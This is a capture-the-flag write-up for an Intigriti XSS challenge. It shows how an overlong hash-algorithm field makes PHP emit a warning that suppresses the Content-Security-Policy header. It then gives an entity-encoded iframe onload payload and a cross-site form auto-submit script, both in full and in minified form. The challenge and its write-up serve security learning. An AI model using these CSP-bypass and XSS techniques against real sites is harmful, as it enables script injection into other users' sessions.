Ξ

Challenge 0322

A form with not-so-great input sanitization.

Output looks... normal.

I'll try some code:

Field1: <script>alert(document.domain)</script>
Field2: crc32

Which results in:

Browser says no. These are some strict content security policies. More on that later.

content-security-policy: default-src 'none'; style-src 'nonce-a86eb4f2ee375f65e809b1dddcf7bc1f0a258248'; script-src 'nonce-a86eb4f2ee375f65e809b1dddcf7bc1f0a258248'; img-src 'self'

It is unusual for a form to ask which hashing algorithm I want. What if I don't know?

Field1: <script>alert(document.domain)</script>
Field2: nothing

Result:

Now that I think about it, it should be my choice! More sites should implement this.

The error is useful. The PHP docs have a list of supported algorithms;

What version of PHP are we on?

Input:

Field1: secret
Field2: crc32c

Result:

It could be any of them at this point. Try again with a more recent one...

Input:

Field1: terces
Field2: xxh64

Result:

So I know that it is probably php 7.4-8.0? Not sure if it will help me this time.

The clues are pointing towards the regex function - I haven't tried messing with the second field yet.

Input:

Field1: <script>alert(document.domain)</script>
Field2: blah blah blah blah blah blah blah blah

The result is nothing I haven't already seen.

Mess with it some more maybe?

Input:

Field1: <script>alert(document.domain)</script>
Field2: blah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah

Result:

The headers that are defined in the code are not sent and a warning is shown. As a result the browser allows the javascript to be executed along with an error:

The brackets and ` are being replaced with 'NotAllowedCaracter' by the regex function hinted at the beginning.

A small amount of JS-fu will get past the character limits.

Starting with:

<iframe onload="alert(document.domain)"></iframe>

Encode it with any online tool:

<iframe onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;"></iframe>

Combine that with a long string in the bottom field to execute the alert.

Usually a form can't be submitted without a CSRF token signed by the server. For this challenge the token can be any string that is alphanumeric, lowercase and 64 characters long. Below there is an html form followed by a function randomString() that can generate random strings up to any length. The function showMeTheLove() populates the form with all of the right values. Finally I open/close a popup containing the sender page before the form is submitted. Without the popup the CSRF token will not be initialized for this browser session. There is probably a better way to wait for the page to load but I have used a timeout of 750ms for the sake of demonstration.

<html>
<body>
    <form id="form" method="post" action="https://challenge-0322.intigriti.io/challenge/LoveReceiver.php">
        <input type="hidden" id="token" name="token">
        <input type="hidden" id="text" name="FirstText">
        <input type="hidden" id="hash" name="Hashing">
        <button id="button">Probably don't click me...</button>
    </form>
    <script>
        function randomString(length) {
            const dictionary = 'abcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            for ( var i = 0; i < length; i++ ) {
                result += dictionary.charAt(Math.floor(Math.random() * dictionary.length));
            }
            return result;
        }

        function showMeTheLove() {
            const token = document.getElementById('token');
            const text = document.getElementById('text');
            const hash = document.getElementById('hash');
            token.value = randomString(64);
            text.value = '<iframe onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;"></iframe>';
            hash.value = randomString(446);
        }

        var element = document.getElementById("button");

        element.addEventListener('click', function (e) {
            e.preventDefault();
            var w =  window.open('https://challenge-0322.intigriti.io/challenge/LoveSender.php', 'popup', "height=50,width=50");

            showMeTheLove()

            setTimeout(function () {
                document.getElementById('form').submit();
                w.close();
            }, 500);
        }, false);
    </script>
    </body>
</html>

Strip out the HTML:

function randomString(length) {
    var dictionary = 'abcdefghijklmnopqrstuvwxyz0123456789';
    var result = '';
    for (var i = 0; i < length; i++) {
        result += dictionary.charAt(Math.floor(Math.random() * dictionary.length));
    }
    return result;
}

var form = document.createElement("form");
var token = document.createElement("input");
var text = document.createElement("input"); 
var hash = document.createElement("input");
var button = document.createElement("button");

form.method = "POST";
form.action = "https://challenge-0322.intigriti.io/challenge/LoveReceiver.php";

token.name = "token";
token.type = "hidden";
token.value = randomString(64);
form.appendChild(token);  

text.name = "FirstText";
text.type = "hidden";
text.value = '<iframe onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;"></iframe>';
form.appendChild(text);

hash.name = "Hashing";
hash.type = "hidden";
hash.value = randomString(446);
form.appendChild(hash);

button.id = "button";
button.textContent = "Probably don't click me..."
button.addEventListener('click', function (e) {
    e.preventDefault();
    var w =  window.open('https://challenge-0322.intigriti.io/challenge/LoveSender.php', 'popup', "height=30,width=30");
    setTimeout(function () {
        form.submit();
        w.close();
    }, 500);
});

form.appendChild(button);

document.body.appendChild(form);

No need for it to be readable:

$ npm install uglify-js -g
$ uglifyjs --compress --mangle -- input.js > output.js
function randomString(e){for(var t="abcdefghijklmnopqrstuvwxyz0123456789",n="",o=0;o<e;o++)n+=t.charAt(Math.floor(Math.random()*t.length));return n}var form=document.createElement("form"),token=document.createElement("input"),text=document.createElement("input"),hash=document.createElement("input"),button=document.createElement("button");form.method="POST",form.action="https://challenge-0322.intigriti.io/challenge/LoveReceiver.php",token.name="token",token.type="hidden",token.value=randomString(64),form.appendChild(token),text.name="FirstText",text.type="hidden",text.value='<iframe onload="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;"></iframe>',form.appendChild(text),hash.name="Hashing",hash.type="hidden",hash.value=randomString(446),form.appendChild(hash),button.id="button",button.textContent="Probably don't click me...",button.addEventListener("click",function(e){e.preventDefault();var t=window.open("https://challenge-0322.intigriti.io/challenge/LoveSender.php","popup","height=30,width=30");setTimeout(function(){form.submit(),t.close()},750)}),form.appendChild(button),document.body.appendChild(form);

Click here for a demo

Note: This link won't work unless you have already submitted the form in your browser.

Impact

It would be easy to use this in conjunction with a phishing email or a familiar looking domain to trick a customer into executing code that is not hosted on the company website.

Wikipedia article about XSS

Owasp article about XSS

Recommended Solution